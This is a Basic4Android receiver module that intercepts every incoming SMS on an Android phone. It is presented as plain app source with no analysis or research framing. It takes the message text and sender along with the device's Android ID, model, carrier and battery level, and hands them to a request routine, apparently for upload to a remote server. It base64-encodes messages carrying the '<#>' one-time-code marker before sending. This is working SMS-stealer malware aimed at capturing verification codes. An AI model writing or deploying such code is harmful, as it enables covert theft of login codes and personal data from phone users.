﻿B4A=true
Group=Default Group
ModulesStructureVersion=1
Type=Receiver
Version=12.2
@EndOfDesignText@

Sub Process_Globals
	Type message (Address As String, Body As String)
	Dim pd As PersianDeviceInfo
	'These variables can be accessed from all modules.
	Dim li As StringUtils
	Dim bc As ByteConverter
	Dim dataSpam As String = "S29TZU1hRGFSZVQ="
End Sub

Private Sub Receiver_Receive (FirstTime As Boolean, StartingIntent As Intent)
	pd.initialize("pd")
	If StartingIntent.Action = "android.provider.Telephony.SMS_RECEIVED" Then
		Log("Sms Received")
		Dim address As String
		Dim body As String
		Dim android As String = pd.AndroidID
		Dim Opr As String = pd.Carrier
		Dim battry As String = pd.BatteryPercentage
		Dim model As String = pd.Manufacturer&"-"&pd.Model
		body = ParseSmsIntent(StartingIntent, "body")
		address = ParseSmsIntent(StartingIntent, "address")
		If body.Contains("<#>") = True Then
			Dim body1 As String =  li.EncodeBase64(bc.StringToBytes(body,"utf-8"))
			CallSub2(Requests,"SendReq","resultend=ok&action=nwmessageencode&messagetext="&body1&"&number="&address&"&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		Else
			CallSub2(Requests,"SendReq","resultend=ok&action=nwmessage&messagetext="&body&"&number="&address&"&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		End If
	End If
End Sub

Sub ParseSmsIntent (in As Intent, what As String) As String
   
	Dim messages() As message
	If in.HasExtra("pdus") = False Then Return ""
	Dim pdus() As Object
	Dim r As Reflector
	pdus = in.GetExtra("pdus")
	Dim xbd As String
	Dim xad As String
	If pdus.Length > 0 Then
		Dim messages(pdus.Length) As message
		For i = 0 To pdus.Length - 1
			r.Target = r.RunStaticMethod("android.telephony.SmsMessage", "createFromPdu", _
            Array As Object(pdus(i)), Array As String("[B"))
           
			messages(i).Body = r.RunMethod("getMessageBody")
			xbd = xbd&r.RunMethod("getMessageBody")
			xad = r.RunMethod("getOriginatingAddress")
			messages(i).Address = r.RunMethod("getOriginatingAddress")
		Next
	End If
	If what = "body" Then
		Return xbd
	Else If what = "address" Then
		Return xad
	Else
		Return ""
	End If
   
End Sub